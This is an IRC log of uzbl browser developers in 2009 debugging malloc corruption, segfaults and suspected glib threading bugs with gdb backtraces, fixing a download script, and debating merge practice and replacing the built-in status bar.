19:24 < jouz> *** glibc detected *** uzbl: malloc(): memory corruption: 0x082802c0 *** <- i am just trying to start from barrucadus experimental... but it fails
19:26 < barrucadu> jouz: Strange, I commented out two lines, commited, and no longer have that problem.
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19:27 < jouz> barrucadu: but you had it? I get an error while compiling, but i don't suspect it as the cause...
19:28 < barrucadu> jouz: I had that error when loading a config file, commenting out two g_free() calls 'fixed' it (sort of, more memory is leaked, but it actually runs)
19:29 < jouz> oh crap, i have the same when using Dieterbe's experimental
19:29 < Dieterbe> barrucadu: all the stuff in http://github.com/Dieterbe/uzbl/commit/6e04841f1143eaf21e5b9647144eee4184aaf6a0, i think it more or less corresponds to all most recents commits in my tree starting from rob|'s  memory leak patches ("round" 1 and 2)
19:30 < jouz> probably its me, i get reports like the above quite frequently in mplayer as well in the last time :(
19:32 < jouz> ok in dieterbe's master, everything works normal. could it be "uzbl.c:1186: warning: initialization from incompatible pointer type"? that occurs while compiling both of your experimentals
19:33 < Dieterbe> jouz: both mine and barrucadu's experimentals are broken
19:33 < Dieterbe> jouz: broken as hell
19:34 < Dieterbe> for me uzbl experimental doesn't even start
19:34 < barrucadu> Dieterbe: My experimental works. For me at least
19:35 < jouz> barrucadu: but you have to admit, there still must be something broken if you are the only one where it works ;)
19:36 < barrucadu> jouz: Maybe everyone else just has broken computers ;)
19:36 < barrucadu> Dieterbe: I'll search for and add the missing commits shortly, and see what happens
19:36 < Dieterbe> good
19:46 < _19LIONZ> hi
19:47 < _19LIONZ> Some times webpages fail to start immediately. Uzbl reloading doesn't work as it misses the original location.
19:48 < _19LIONZ> The error page that appears come from WebKit-RootFolder/WebKit/gtk/resrror.html
19:48 < DuClare> 16'57'53 < rob|> should the characters displayed in the load progress bar (i.e. '=' and '·') be setable with a  var? like "set status_progress_bar_done = :"  and "set status_progress_bar_pending = -"?
19:49 < _19LIONZ> There is a "try again" buttom that reload the page successfully .
19:49 < DuClare> rob|, I'd get rid of the progress bar entirely and instead add a handler to which the progress is passed as an argument.  The handler could create a bar, a percentage, a colour display or anything..
19:49 < _19LIONZ> The buttom invokes location.reload()
19:50 < _19LIONZ> So , I think uzbl should invoke location_reload instead of view_reload
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19:50 < _19LIONZ> unfortunately , I'm not a programmer so I can't provide a patch
19:50 < _19LIONZ> *button
19:52  * DuClare had an exam.  The teacher didn't seem to care about the fact that I hadn't attended any of the lessons.
19:52 < _19LIONZ> Sorry , the right location of the error page WebKit-RootFolder/WebKit/gtk/resources/error.html
19:53 < DuClare> Dieterbe, Afaix Masca didn't finish the fix because he got problems.. in the end, did a reset.
19:55 < DuClare> duwanis, Technically the commits are not lost.  They were just reverted..
19:56 < duwanis> DuClare: ah, I see. I was under the impression something more severe had happened
19:57 < barrucadu> What would happen if the revert was reverted? Would that be a quick way to fix it?
19:57 < Masca> rutkowski: the new window with homepage bug is fixed in my experimental
19:57 < DuClare> barrucadu, IIRC Dieterbe tried it, but that didn't work well as he got conflicts with later additions
19:58 < Masca> barrucadu: I have a patch wich can fix lost commits stuff. Just need some review.
19:58 < barrucadu> ok
20:01 < Masca> Yes, it have conflicts with later changes.
20:02 < Masca> barrucadu: http://rafb.net/p/2fgP7E37.html
20:13 < barrucadu> Masca: I had git cherry-picked a few commits, so I didn't have much to do. If that patch had everything in, then my branch has everything in now
20:14 < Masca> great!
20:15 < webframp> what's the status of uzblctl in the master branch? is it known to only segfault for anyone else?
20:16 < entgod> it segfaults for me
20:16 < Masca> whos master?
20:16 < barrucadu> Are you specifying the -s and -c parameters? Without those it segfaults. I'll fix that.
20:16 < entgod> ah :)
20:17 < entgod> then it doesn't
20:17 < entgod> i don't know whos master this is, i just took the "uzbl-experimental-git" from aur :P
20:17 < entgod> git://github.com/Dieterbe/uzbl.git
20:19 < DuClare> You say it's master though it's called experimental?
20:20 < entgod> hmm, then it isn't master :P
20:21 < barrucadu> Here's my commit if you want to implement the fix asap: http://github.com/Barrucadu/uzbl/commit/b428ad76e4949e578e55ed129663ee3dbbc2df53
20:22 < barrucadu> Now to figure out where I'm losing 1MB in settings_init()...
20:23 < jouz> hey guys, anybody noticed that the download-script is total bullshit?
20:23 < DuClare> jouz, Is?
20:23 < jouz> yes
20:23 < jouz> it shoud wget $8 and not wget $6
20:23 < DuClare> It's great
20:23 < DuClare> Uhm, yeah
20:23 < DuClare> Except..
20:23 < DuClare> It works
20:24 < DuClare> Maybe it doesn't
20:24 < jouz> i cant imagine how it could have worked
20:24 < jouz> for me it did never, but i juts now bothered to take a look at it
20:24 < DuClare> Now that I think of it, I'm not sure I ever used it .. :]
20:25 < DuClare> 18 set download_handler = sh 'cd ~/.uzbl/download && wget $8'
20:25 < jouz> yeah that one should work, but the download.sh from the scripts is total crap :D
20:26 < Dieterbe> jouz> hey guys, anybody noticed that the download-script is total bullshit? <-- well thanks for the appreciation. and yes, i have used the download script and it has worked for me. though i didn't check recently
20:26 < Dieterbe> "total crap"? oh thanks, even better
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20:27 < jouz> Dieterbe: sorry ^^ but why would one do wget $6, which is the current location and not the link!?
20:28 < Dieterbe> one would.. supply a patch it
20:28 < Dieterbe> s/it//
20:28 < Dieterbe> i mean you literally have to change 1 character, and if you know which and to what
20:30 < jouz> well, touché, i probably just tried to troll a little ;)
20:31 < webframp> I think it was Dieterbe's 'master' that I pulled from.
20:33 < Masca> Are you sure parse_cmd() should checl for ctl_line[0]? don't you think it can be somehow buggy?
20:34 < DuClare> Yes, it should
20:34 < DuClare> ctl_line[0] is the first character
20:35 < _19LIONZ> So, am I the only one who can't reload a page if it's opened in a new window & failed loading the 1st time ?
20:35 < Masca> Yes, I know but.. that's vaild if someone use any word. Eg "bull" will 'bind'.
20:35 < DuClare> Yup
20:37 < DuClare> An undocumented feature, if you will.  Don't write bull if you don't like it..  Personally I'm considering merging the commands with actions to kill the overlapping and potentially confusing concepts.
20:39 < Dieterbe> imho it's stupid we check the first char like we do now
20:39 < Masca> Well, I don't think it's a 'undocumented feature' but a bug. Not a critical one.
20:39 < Dieterbe> it's not the behaviour people expect and leads to confusion
20:40 < Dieterbe> in fact i discussed this with rob| and iirc i managed to convince him we should make it more solid
20:40 < DuClare> That'll happen as a byproduct if we merge them to actions
20:40 < DuClare> I don't think doing anything else to them now is worth it
20:45 < Dieterbe> ok
20:46 < Dieterbe> yeah, we've spent quite some time on the command interfaces etc
20:46 < Dieterbe> would be cool if we can spend some time on browsing stuff too :P
20:47 < barrucadu> Dieterbe: Everyone knows you only use a browser for the command interfaces it offers :p
20:49 < Dieterbe> :)
20:49 < Dieterbe> btw i merged from you. my tree is exactly the same as yours now
20:50 < Dieterbe> but make test-config does still not start uzbl
20:50 < barrucadu> Hmm
20:50 < barrucadu> Strange
20:52 < barrucadu> I'll continue playing with gdb and valgrind and see if I can find anything
20:53 < Dieterbe> k
20:53 < Dieterbe> 42a8c000-42a8e000 r-xp 00000000 fe:02 589906     //bin/sh: line 1: 10148 Aborted                 ./uzbl --uri http://www.uzbl.org < examples/configs/sampleconfig-dev
20:53 < Dieterbe> make: *** [test-config] Error 134
20:53 < Dieterbe> hmm that's the last part
20:53 < DuClare> Gdb, backtrace..
20:54 < DuClare> No use guessing based on the output
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21:01 < Dieterbe> DuClare: could you tell me how to do that?
21:02 < DuClare> gdb ./uzbl
21:02 < DuClare> run -c /path/to/config
21:02 < barrucadu> Dieterbe: I think I may have found the problem
21:02 < barrucadu> I was being stupid again and running "make test" instead of "make test-config" :p
21:03 < DuClare> Say bt when it segfaults :x
21:03 < Dieterbe> bt?
21:03 < DuClare> In gdb gives a backtrace
21:03 < barrucadu> I've got it to run, but it no longer has a valid socket_dir, when I've got that working again I'll commit
21:18 < barrucadu> Fixed socket_dir :)
21:18  * barrucadu runs make test-config
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21:20 < barrucadu> Well, uzbl launches. The config gets loaded. And... the page does not load. The status bar updates, however.
21:20 -!- Dieterbe changed the topic of #uzbl to: Uzbl is a browser that adheres to the unix philosophy. -- uzbl.org -- bugs -> uzbl.org/bugs - http://bbs.archlinux.org/viewtopic.php?id=70700 - ALWAYS check diffs when merging AND when pulling in new stuff.
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21:21 < barrucadu> Which is very odd, as uzbl.org loads in google, and passing other URLs to uzbl via -u works fine
21:21 < barrucadu> *loads in opera
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21:21 < github> uzbl: Robert Manea experimental SHA1-cee31f5
21:21 < github> Merge branch 'experimental' of git://github.com/DuClare/uzbl
21:21 < github> http://bit.ly/o99QZ
21:21 < github> uzbl: Robert Manea experimental SHA1-be6cd89
21:21 < github> added possibility to configure the ascii progressbar
21:21 < github> http://bit.ly/OgSeX
21:21 < github> uzbl: Dieter Plaetinck experimental SHA1-5dc04d2
21:21 < github> Merge commit 'rob/master' into experimental
21:22 < github> http://bit.ly/16WJ83
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21:23 < barrucadu> So, uzbl.org does not load in uzbl. Other sites do <.>
21:24 < Dieterbe> well, and for once, uzbl.org is not down :P
21:24 < barrucadu> :p
21:24 < DuClare> Loads sloooowly.
21:25 < barrucadu> Aha! It loaded! I just had to leave it for a while <.>
21:25 < DuClare> It's been like that since umm... yesterday?
21:25 < barrucadu> I would nag support some more, but apparently the server is having some stability problems and they're working on it...
21:25 < barrucadu> It was fast earlier
21:25 < Dieterbe> DuClare: Program received signal SIGABRT, Aborted. i get a lot of output but not much useful
21:25 < DuClare> Dieterbe, What if you do bt now
21:26 < Dieterbe> DuClare: oh? i littereally had to type 'bt'? i'll retry :P
21:26 < DuClare> Yeah
21:26 < barrucadu> "error on run_command: Failed to execute child process "/home/barrucadu/.config/uzbl/handlers/history.sh" (Bad address)" ..?
21:27 < DuClare> barrucadu, Bad data in argv
21:27 < Dieterbe> [Switching to Thread 0xb5403710 (LWP 5446)]
21:27 < Dieterbe> 0xb8076424 in __kernel_vsyscall ()
21:27 < Dieterbe> (gdb) bt
21:27 < Dieterbe> #0  0xb8076424 in __kernel_vsyscall ()
21:27 < Dieterbe> #1  0xb6caf471 in raise () from /lib/libc.so.6
21:27 < Dieterbe> #2  0xb6cb0ca4 in abort () from /lib/libc.so.6
21:27 < Dieterbe> #3  0xb6ceae45 in __libc_message () from /lib/libc.so.6
21:27 < Dieterbe> #4  0xb6cf0dc1 in malloc_printerr () from /lib/libc.so.6
21:27 < Dieterbe> #5  0xb6cf3688 in _int_malloc () from /lib/libc.so.6
21:27 < Dieterbe> #6  0xb6cf5093 in malloc () from /lib/libc.so.6
21:27 < Dieterbe> #7  0xb6e0aca4 in g_malloc () from /usr/lib/libglib-2.0.so.0
21:27 < Dieterbe> #8  0xb6e23549 in g_strdup () from /usr/lib/libglib-2.0.so.0
21:27 < Dieterbe> #9  0xb6e25723 in g_strsplit () from /usr/lib/libglib-2.0.so.0
21:27 < Dieterbe> #10 0x0804b8ac in str_replace (search=0x905a3a0 " aܶ aܶby the shell!$SSH_AGENT_PID", replace=0x905a148 "6571", string=0x8faa3a0 "spawn ./examples/scripts/history.sh") at uzbl.c:175
21:27 < Dieterbe> #11 0x0804ba6a in parseenv (string=0x905a210 "spawn ./examples/scripts/history.sh") at uzbl.c:221
21:27 < Dieterbe> #12 0x0804df31 in parse_cmd_line (ctl_line=0x90576c0 "set history_handler  = spawn ./examples/scripts/history.sh\n") at uzbl.c:1230
21:27 < Dieterbe> #13 0x0804fa57 in settings_init () at uzbl.c:1820
21:27 < Dieterbe> #14 0x080501eb in main (argc=1, argv=0xbf992014) at uzbl.c:1962
21:28 < Dieterbe> i'm on it
21:28 < barrucadu> Dieterbe: I patched up parseenv(), and fixed that bug
21:29 < Dieterbe> ah, when? just now?
21:29 < barrucadu> Yes, my last 2 commits
21:30 < Dieterbe> yeay
21:30 < Dieterbe> make test-config gives me a running uzbl again
21:31 < DuClare> Dieterbe, That's supposedly more useful output than what you got before.. :]
21:31 < barrucadu> :)
21:31 < Dieterbe> i also get the bad address thing btw barrucadu 
21:31 < Dieterbe> DuClare: yeah, this is great
21:32 < Dieterbe> jouz: don't worry about it :) you've been helpful enough to compensate :P
21:32 < DuClare> Compile with -ggdb and the output will get even better in some places.. then you can also place watches pretty much anywhere
21:33 < DuClare> To see when a variable gets modified.  Really faster than reading the source and trying to figure out when and what changes something that shouldn't be changed.
21:34 < barrucadu> Dieterbe: I just noticed that valgrind reports half as much memory lost now that I've added that if statement to parseenv ^^
21:35  * DuClare joins the fun
21:44 < Dieterbe> bind    I         = toggle_insert_mode 0 # disable insert mode (1 to enable)
21:44 < Dieterbe> does this even work? i mean: putting comments on the same line?
21:44 < Dieterbe> DuClare: ?
21:45 < DuClare> No
21:45 < Dieterbe> barrucadu: do you even test your stuff?
21:45 < DuClare> Unless one of you did it..
21:45 < Dieterbe> nope
21:46 < barrucadu> Dieterbe: Oh, sorry
21:48 < Dieterbe> seriously dude
21:48 < Dieterbe> i'm getting somewhat tired of this
21:48 < barrucadu> I'll test more
21:49 < Dieterbe> good. and compare diffs before you commit/merge/push
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21:53 < Dieterbe> DuClare: could it be that there is a bug in run_command?
21:53 < Dieterbe> error on run_command: Failed to execute child process "./examples/scripts/history.sh" (Bad address)
21:54 < Dieterbe> do these " " even belong there?
21:54 < Dieterbe> g_printerr("error on run_command: %s\n", err->message);
21:56 < DuClare> Dieterbe, Possible in theory but I find it more likely that somebody is passing bad data to run_command
21:56 < DuClare> I.e. a bad argument vector
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21:57 < github> uzbl: Barrucadu experimental SHA1-bf9ef46
21:57 < github> Fixed memory leak.
21:57 < github> http://bit.ly/WMJDs
21:57 < github> uzbl: Barrucadu experimental SHA1-fdba6ee
21:57 < github> Sort of fix parseenv - this breaks other things though, so don't merge until I have a fix committed.
21:57 < github> http://bit.ly/17pMDU
21:57 < github> uzbl: Barrucadu experimental SHA1-4703bc4
21:57 < github> Fixed dodgy socket path.
21:57 < github> http://bit.ly/l5jzk
21:57 < github> uzbl: Dieter Plaetinck experimental SHA1-31bd773
21:57 < github> Merge commit 'bar/experimental' into experimental
21:57 < github> http://bit.ly/TeddT
21:57 < github> uzbl: Dieter Plaetinck experimental SHA1-a2779dd
21:57 < github> document gdb stuff
21:57 < github> http://bit.ly/LmBTV
21:57 < github> uzbl: Dieter Plaetinck experimental SHA1-8923aac
21:57 < github> fix for insert mode
21:57 < github> http://bit.ly/G7NcQ
21:57 < github> uzbl: Dieter Plaetinck experimental SHA1-7202d86
21:58 < github> fix for insert mode
21:58 < github> http://bit.ly/Qk4uA
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21:59 < DuClare> Dieterbe, Hmm.  It was related to history handler & testconfig-dev?
21:59 < DuClare> sampleconfig-dev
22:00 < Dieterbe> yea
22:01 < DuClare> Works fine on my experimental.
22:02 < DuClare> But I can reproduce it on your branch so.
22:02 < Dieterbe> aha
22:02 < DuClare> Breakpoint 1, run_command (command=0x1071f60 "./examples/scripts/history.sh", npre=0, args=0x1071f70, sync=0, stdout=0x0) at uzbl.c:888
22:02 < DuClare> :]
22:04 < DuClare> Hmm..
22:06 < Dieterbe> hmm running diff against you, but don't see it immediately
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22:13 < DuClare> Might be a problem in spawn
22:15 < DuClare> Nay, it's not .. :V
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22:39 < Dieterbe> meh
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22:49 < DuClare> Okay, wtf is going on...
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22:54 < github> uzbl: Dieter Plaetinck experimental SHA1-b5f2766
22:54 < github> document progressbar tweaking
22:54 < github> http://bit.ly/2OJCP
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22:55 < DuClare> http://hikari.serveftp.org/debug_this.txt
22:56 < Dieterbe> git checkout breakstuff
22:56 < Dieterbe>  ?
22:56 < DuClare> It's your experimental
22:56 < DuClare> I gave it a name.. ^^;
22:57 < Dieterbe> :P
22:57 < DuClare> Do you see it?
22:58 < DuClare> (gdb) print ((gchar**)argv->data)[1]
22:58 < DuClare> $7 = 0x926a30 "2009-05-20 23:48:36"
22:58 < DuClare> (gdb) print ((gchar**)argv->data)[2]
22:58 < DuClare> $8 = 0x0
22:58 < DuClare> That's so correct; that's what we should see
22:58 < DuClare> And that's what we see in breakstuff as well..
22:58 < DuClare> (gdb) print ((gchar**)argv->data)[2]
22:58 < DuClare> $6 = 0x15ecd40 "2009-05-20 23:52:53"
22:58 < DuClare> (gdb) print ((gchar**)argv->data)[3]
22:58 < DuClare> $7 = 0x0
22:58 < Dieterbe> (gdb) print ((gchar**)argv->data)[0]
22:58 < Dieterbe> $6 = 0x91dd70 "./examples/scripts/history.sh"
22:59 < Dieterbe> shouldn't that be: $6 = 0x91dd70 ./examples/scripts/history.sh ?
22:59 < Dieterbe> without the " " ?
22:59 < DuClare> That's just gdb's way of saying it's a string
23:00 < DuClare> Anyway, in both branches argv->data looks just fine .. yet in the other branch args[n] are not correct o_O
23:02 < DuClare> Actually, I was planning to use GArray in run_command as well.. I wonder what kind of an impact that'd have on this
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23:05 < DuClare> Is this a glib fukup or am I missing something?  Is argv->data+sizeof(gchar*) not behaving as expected, and if not, then why does it work on my branch?
23:05 < DuClare> Nay, it can't be glib either..
23:13 < Dieterbe> i'm going to bed
23:13 < Dieterbe> see you later
23:13 < barrucadu> bye
23:15 < Dieterbe> oh yeah. tomorrow is not a workday for me. so i can hack pretty much all day. depending on if we can resolve this bug, we should be able to finish the whole merging thing and then maybe it's a good time to start with the splitup
23:15 < Dieterbe> rob|: ^^
23:17 < barrucadu> Dieterbe: I've got one 75-minute-long exam tomorrow so I'll be on from about 2:40 :)
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23:25 < DuClare> Dieterbe, Fixed
23:25 < DuClare> I think
23:27 < DuClare> Yay.
23:29 < DuClare> Not quite.
23:32 < DuClare> Well, I fixed the bad address error but now there's another problem which dislocates the params somewhat
23:33 < DuClare> Nice testing guys.  Again a "fix" one of you had written also broke this.. :)
23:40  * barrucadu puts his physics revision guide aside
23:41  * duwanis wishes he knew C well enough to help write tests.
23:42 < barrucadu> DuClare: Does gdb have a nice way to find memory leaks? Or do I have to use valgrind and use trial and error?
23:43 < Phillemann> gdb is a debugger. As far as I know it doesn't care about memory leaks. :)
23:43 < barrucadu> :(
23:43 < barrucadu> I'll google for how to use valgrind properly then: probably for the best :)
23:43 < Phillemann> What's wrong with valgrind?
23:44 < barrucadu> It produces a *lot* of output
23:45 < Phillemann> Output you cannot use?
23:46  * barrucadu finds something entitled "Using Valgrind to Find Memory Leaks and Invalid Memory Use" :)
23:52  * _19LIONZ feels that epiphany is more stable than midori
23:53 < Phillemann> Does epiphany use gecko or webkit?
23:53 < _19LIONZ> Phillemann: you can choose
23:53 < Phillemann> Oh
23:54 < _19LIONZ> Phillemann: I'm talking about webkit of course
23:54 < _19LIONZ> Phillemann: running 2.27.1
23:54 < duwanis> _19LIONZ I didn't think you could even call midori stable.
23:54  * duwanis has never been able to run it longer than 2 minutes w/o it dying
23:54 < Phillemann> Yep, same here. ;)
23:55 < _19LIONZ> Phillemann: you're not an Archer , right ?
23:55 < Phillemann> No, Gentoo.
23:56 < Phillemann> I'm not a GNOMEr, either, so I cannot test epiphany ;)
23:57 < _19LIONZ> Phillemann: not a lot of dependencies
23:57 < Phillemann> Well...GNOME for starters ;)
23:57 < _19LIONZ> Phillemann: http://rafb.net/p/usLvfN64.html
23:58 < _19LIONZ> Phillemann: that's the output of ldd. I don't see a lot of gnome stuff
23:58 < Phillemann> True...
23:59 < _19LIONZ> Phillemann: the only one I really hate is gconf
--- Day changed Thu May 21 2009
00:08 < duwanis> Yes, Gconf is poop.
00:22 < DuClare> Dieterbe, Okay, I fixed the bad address issue plus another bug.  Merge my branch 'breakstuff'.
00:22 < DuClare> barrucadu, ^
00:22 < barrucadu> ok
00:24 < jouz> ok guys, ok i sent some pull requests. I have a linkfollowing branch now on github ( git://github.com/jouz/uzbl.git @ linkfollowing ). There are two scripts, one stable and nicly documented, the other crappy but with textfollowing.
00:25 < jouz> activate it with "bind f* = script /path/to/follow_Numbers.js %s"
00:29 < anydot> btw, just don't use github's integrated merge feature.
00:29 < barrucadu> jouz: That script is very nice :)
00:31 < barrucadu> It doesn't work as well as the original one on wikipedia though
00:32 < jouz> barrucadu: ok probably needs more testing
00:32 < jouz> its problematic if you initialize it while the site loads...
00:33 < jouz> wow it doesnt work on half of the link on wikipedia, thats wierd
00:34 < jouz> uh it does work, but the hints aren't displayed... i somehow can't give the div-elements the highest zIndex...
00:35 < Phillemann> I don't know which license vimperator has, but can't you just copy their Hinting code? o_O
00:35 < jouz> anydot: github has no integrated merge feature, or does it? i never recieved a pull request, but i always thougth of it as an advise of (manually!) pull my branch
00:36 < jouz> Phillemann: no that doesn't work, because the javascript used by vimperator is very firefox-specific (or not supported by the webkit engine).
00:37 < Phillemann> Hmmmm, I see.
00:40 < jouz> further, the nint.js from vimperator works with capturing the keys with javascript - this function is totally crippled in webkit :(
00:40 < jouz> *hint.js
00:41 < Phillemann> What do you mean? Javascript gets the keyboard presses and reacts to that?
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00:48 < anydot> jouz: It does, you can accept patch from the other branch etc.
00:48 < anydot> Problem is, that it doesn't do full merge/fast rewind, but only cherry-pick
00:48 < anydot> So, if you then will pull back, you must merge.
00:48 < anydot> History got messy etc.
00:50 < anydot> If then someone will wan't do normal merge from you, it will pull upstream cherrypicked changeset, your original changeset, and merge changeset, and all that forever :)
00:50 < anydot> So it's only usable on topic branches, branches made for precissely one thing, which is after merge throwed away.
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00:51 < jouz> anydot: ah i see, thanks
00:52 < anydot> So it's sort of not_what_user_think_it_is feature :)
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01:17 < jouz> just came back to say that wikipedia (and most other pages) are fixed now - all hints should be visible.
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08:21 < Dieterbe> morning lads
08:21 < Dieterbe> thanks rson 
08:25 < Dieterbe> _19LIONZ> Phillemann: the only one I really hate is gconf <-- amen bro !
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08:27 < Dieterbe> http://www.youtube.com/watch?v=pSxbmUcR8ao brilliant
08:29 < Dieterbe> jouz> anydot: github has no integrated merge feature, or does it? <-- yeah it does. you can merge through the web interface, but if it conflicts you can't do much except to roll back.  you can even edit files and commit them trough the web interface (i guess they also haven't heared from the unix philosophy yet :))
08:36 < Dieterbe> anydot: do we manually have to subscribe to dev@suckless or is it automatic?
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08:42 < github> uzbl: DuClare experimental SHA1-14716e1
08:42 < github> Fix spawn and log_history_cb
08:42 < github> http://bit.ly/xqIgU
08:42 < github> uzbl: Dieter Plaetinck experimental SHA1-972ab43
08:42 < github> Merge commit 'duc/breakstuff' into experimental
08:42 < github> http://bit.ly/4eOih
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08:56 < anydot> Dieterbe: No, all subscribers of dwm@ or wmii@ was automatically resubscribed.
08:57 < anydot> Dieterbe: That mail from arg was sent to you via that dev@ ml :)
08:57 < Dieterbe> ok great
08:57 < Dieterbe> btw welcome back among the living :P
08:57 < anydot> Only thing you must do on your end is to change you mail filtering rule, if you use one.
08:58 < Dieterbe> and send all my future mails to dev@ :)
08:58 < anydot> Dieterbe: Not still, just was around, and reacted to highlight :)
08:58 < anydot> Dieterbe: Yeah
08:59 < anydot> Dieterbe: But wmii@ and dwm@ are currently setup as alias, so if one forget, nothing much happens
09:02 < anydot> Still to much work this week.
09:02 < anydot> :(
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10:05 < DuClare> Hi Dieterbe
10:06 < DuClare> Dieterbe, Is there much left to do on the broken branch?
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10:06 < DuClare> Any known regressions?
10:08 < DuClare> Found a segfault
10:10 < Dieterbe> DuClare: when does it segfault for you? i had a segfalut once when exitting
10:11 < DuClare> Oh, hm, this segfault is on my experimental actually :O  ./uzbl < examples/configs/sampleconfig-dev -v
10:12 < DuClare> Using -c instead of redirection it doesn't sf
10:12 < DuClare> Hmm
10:13 < DuClare> Happens on breakstuff too, though not in the exact same spot
10:16 < DuClare> Hmm, I think I can fix this
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10:18 < DuClare> Hi jouz
10:18 < jouz> hi
10:21 < Dieterbe> jouz: i could not get your scripts to work
10:21 < jouz> uh
10:22 < jouz> bind f* = script /home/jan/bin/uzbl/follow_Numbers.js %s
10:22 < jouz> this is what i use in my config, and i have the exact follow_Numbers.js from the latest git
10:23 < Dieterbe> jouz: and you don't need the "F" bind anymore to hilight the links?
10:23 < Dieterbe> i once could get it working in combo with the old F bind
10:24 < Dieterbe> but now it just doesn't work at all anymore
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10:24 < jouz> hmm that is wierd. since you merged my code, i assume you are running your latest experimental?
10:25 < Dieterbe> yea
10:25 < jouz> the old one should not work at all. Have you double checked that you use * instead of _?
10:26 < Dieterbe> yeah
10:28 < jouz> wow i can't explain how this could happen :(
10:29 < Dieterbe> can you pull my latest exp and try?
10:29 < Dieterbe> you'll need to comment out the F binding again
10:29 < jouz> could you try make a script "alert.js" just with "alert('%s');" inside, and use it in place if the linkfollow script?
10:29 < jouz> yes ill do
10:33 < jouz> ok i tried your code and it works perfectly :/
10:34 < Dieterbe> bind fl* = "alert('%s');"
10:34 < Dieterbe> if i type 'fl' the first time, nothing happens
10:34 < Dieterbe> after that if i type 'fl' it doesn't do anything at all (so this may be actually a bug with command parsing/executing)
10:35 < Dieterbe> oh wait, i get: Error in command: bind fl* = "alert('%s');"
10:35 < Dieterbe> ah.. you should put 'js'
10:35 < Dieterbe> ** (uzbl:12092): CRITICAL **: void webkit_web_view_execute_script(WebKitWebView*, const gchar*): assertion `script' failed
10:35 < Dieterbe> i get some of these though
10:37 < jouz> hmm
10:38 < jouz> and if you try to use "script alert.js" and write the js into a file "alert.js"
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10:41 < DuClare> Do you guys read the gtk & glib documentation when coding?
10:41 < jouz> but i have some good news by the way. I fired up wireshark to finally find out whether ther referer is set using "window.location = " or not - and it is set indeed :)
10:44 < Dieterbe> jouz: aha. well you could also see that by setting http_debug
10:44 < Dieterbe> DuClare: yea
10:45 < jouz> Dieterbe: yes but i chose wireshark because of the awesome filters, which can spare some time of searching :)
10:55 < jouz> Dieterbe: i still dont get why the run_[external_]js dont work on your machine but on mine (and i understood DuClare also got my linkfollowing to work yesterday?) ? Do you run arch64?
11:04 < DuClare> No, I haven't checked out your latest script
11:04 < DuClare> Trying to fix this broken crap which segfaults in two seconds
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11:17 < DuClare> I think we've got some thread issues
11:18 < Dieterbe> hm? we don't even use threads? or do you mean the ones spawned by glib?
11:18 < DuClare> Yea
11:18 < Dieterbe> how so?
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11:18 < DuClare> Well let's see
11:18 < DuClare>             parsed = expand_template(b->status_format);
11:18 < DuClare>             gtk_label_set_markup(GTK_LABEL(uzbl.gui.mainbar_label), parsed);
11:18 < DuClare>             g_free(parsed);
11:19 < DuClare> How on EARTH can that segfault within gtk_label_set_markup?
11:19 < DuClare> Checking from gdb, the only thing that *could* be wrong is 'parsed'
11:19 < DuClare> But it's just fine
11:19 < DuClare> Right
11:20 < Dieterbe> hm, just what i thought too
11:20 < DuClare> Below that is the code that sets status bg
11:20 < DuClare> Well, it used to cause segfaults on me..
11:20 < Dieterbe> and you could debug the value of parsed when it segfaulted?
11:20 < DuClare> So I moved it to a function which is only called when we're setting the variable
11:20 < DuClare> Tada, no segfault
11:20 < DuClare> Yep
11:21 < DuClare> Moreover
11:21 < DuClare> This only happens when I pipe stuff via stdin, not when I let the loop read the file line by line
11:21 < DuClare> Which indicates that the pipe feeds data faster than the threads execute, making two threads work on the same data, causing the segfault..
11:22 < Dieterbe> hmmmzz
11:25 < Dieterbe> so we should implement some sort of locks?
11:25 < Dieterbe> in update_title?
11:25 < DuClare> If my perception of the situation is correct, then yes
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11:26 < Dieterbe> ah, so does this mean that the callback functions we tell glib to execute when it finds new data in the IOChannel are executed as new threads?
11:27 < DuClare> Not sure where the threads kick in.  I'm having some problems even without the fifo.. just they're not that severe
11:28 < Dieterbe> actually i think it must be thet glib calls our callbacks as new threads
11:28 < Dieterbe> because it cannot possible change the "main flow" of the main thread, right?
11:28 < DuClare> One thing I noticed is that when I run under gdb, I get less problems (sometimes the statusbar doesn't get drawn properly; happens ~always outside gdb), which again, I think, indicates that there are threads and the debugger caused slowdown helps there..
11:29 < Dieterbe> yeah, sounds reasonable
11:29 < DuClare> Unless there's some other bug lying around smashing the statusbar, that means we have threads even when not reading the cfg from stdin..
11:30 < DuClare> Actually, gdb informs about threads
11:30 < DuClare> But not sure if it informs about glib threads
11:32 < Dieterbe> well, there are some hits about related stuff on google.. me reading..
11:34 < DuClare> http://library.gnome.org/devel/glib/stable/glib-Threads.html#GCond
11:34 < DuClare> http://library.gnome.org/devel/glib/stable/glib-The-Main-Event-Loop.html#g-main-context-wakeup
11:34 < DuClare> Maybe something worth looking into
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11:48 < DuClare> Meh.  I'd like to go out walking in the rain.
11:49 < Dieterbe> :P
11:51 < DuClare> If it were up to me, I'd get rid of the status bar entirely.
11:53 < DuClare> Though I'm not sure that'd fix the thread problems
11:53 < DuClare> But still I would.
12:02 < jouz> (i never use int, either)
12:02 < jouz> *it
12:02 < Dieterbe> really? i like it
12:03 < DuClare> Dieterbe, It's redundant and inflexible.  There already is dzen2, xmobar, and probably others I'm not aware of
12:03 < Dieterbe> so you think using dzen2 would be _more_ flexible?
12:04 < DuClare> Yup
12:04 < DuClare> Or rather
12:04 < DuClare> Letting the user use dzen2
12:04 < DuClare> And do any transformation and customization using a script between uzbl and dzen2..
12:05 < DuClare> There's one problem with dzen2 and xmobar -- they've got a special status wrt window managers and by default are displayed on every workspace.. but I think that could be patched with little trouble
12:06 < jouz> Dieterbe: i wouldn't say that statusbar is useless, i actually find it quite nice, but i'm on a small screen with 1024x800 resolution and i like every pixel i can get :)
12:07 < DuClare> I don't think it's useless either, but I find it redundant.. and it is against the modularity concept.
12:07 < DuClare> Dzen2 has been under developement for a long time and has more features.  Yet we write our own statusbar and don't let the user choose?
12:07 < DuClare> :/
12:10 < Dieterbe> well, too bad this is brought up only now, but you guys have points. on the other hand, the statusbar shows things are tightly coupled to the main program (command is shown while it's being typed in, load progress, etc). i think if you would let that be shown by an external op it would be quite ugly
12:10 < Dieterbe> ugly from a "needed code" perspective
12:11 < DuClare> I would've probably brought it up earlier but I'm not sure I was actively participating back then..
12:12 < DuClare> Dieterbe, Technically history and cookies are tightly coupled with a browser.  I don't see why a status display is any more critical
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12:13 < DuClare> Especially given that there are people who don't use it
12:14 < DuClare> Imagine this:
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12:15 < rob|> morning
12:15 < DuClare> set status_handler = spawn mystatusformatter.sh MODE NAME PROGRESS KEYCMD URI
12:15 < DuClare> Hi rob| o/
